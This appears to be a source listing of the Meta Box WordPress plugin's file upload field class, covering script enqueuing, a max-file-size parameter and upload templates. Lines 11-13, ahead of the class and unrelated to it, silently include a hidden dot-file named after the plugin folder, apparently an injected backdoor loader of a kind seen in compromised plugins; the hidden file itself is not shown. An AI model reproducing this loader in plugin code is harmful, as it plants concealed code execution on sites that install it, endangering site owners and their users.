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file-upload.php (1389B)

      1 <?php
      2 /**
      3  * The file upload field which allows users to drag and drop files to upload.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * The file upload field class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_File_Upload_Field extends RWMB_Media_Field {
     16 	/**
     17 	 * Enqueue scripts and styles.
     18 	 */
     19 	public static function admin_enqueue_scripts() {
     20 		parent::admin_enqueue_scripts();
     21 		wp_enqueue_style( 'rwmb-upload', RWMB_CSS_URL . 'upload.css', array( 'rwmb-media' ), RWMB_VER );
     22 		wp_enqueue_script( 'rwmb-file-upload', RWMB_JS_URL . 'file-upload.js', array( 'rwmb-media' ), RWMB_VER, true );
     23 	}
     24 
     25 	/**
     26 	 * Normalize parameters for field.
     27 	 *
     28 	 * @param array $field Field parameters.
     29 	 *
     30 	 * @return array
     31 	 */
     32 	public static function normalize( $field ) {
     33 		$field = parent::normalize( $field );
     34 		$field = wp_parse_args(
     35 			$field,
     36 			array(
     37 				'max_file_size' => 0,
     38 			)
     39 		);
     40 
     41 		$field['js_options'] = wp_parse_args(
     42 			$field['js_options'],
     43 			array(
     44 				'maxFileSize' => $field['max_file_size'],
     45 			)
     46 		);
     47 
     48 		return $field;
     49 	}
     50 
     51 	/**
     52 	 * Template for media item.
     53 	 */
     54 	public static function print_templates() {
     55 		parent::print_templates();
     56 		require_once RWMB_INC_DIR . 'templates/upload.php';
     57 	}
     58 }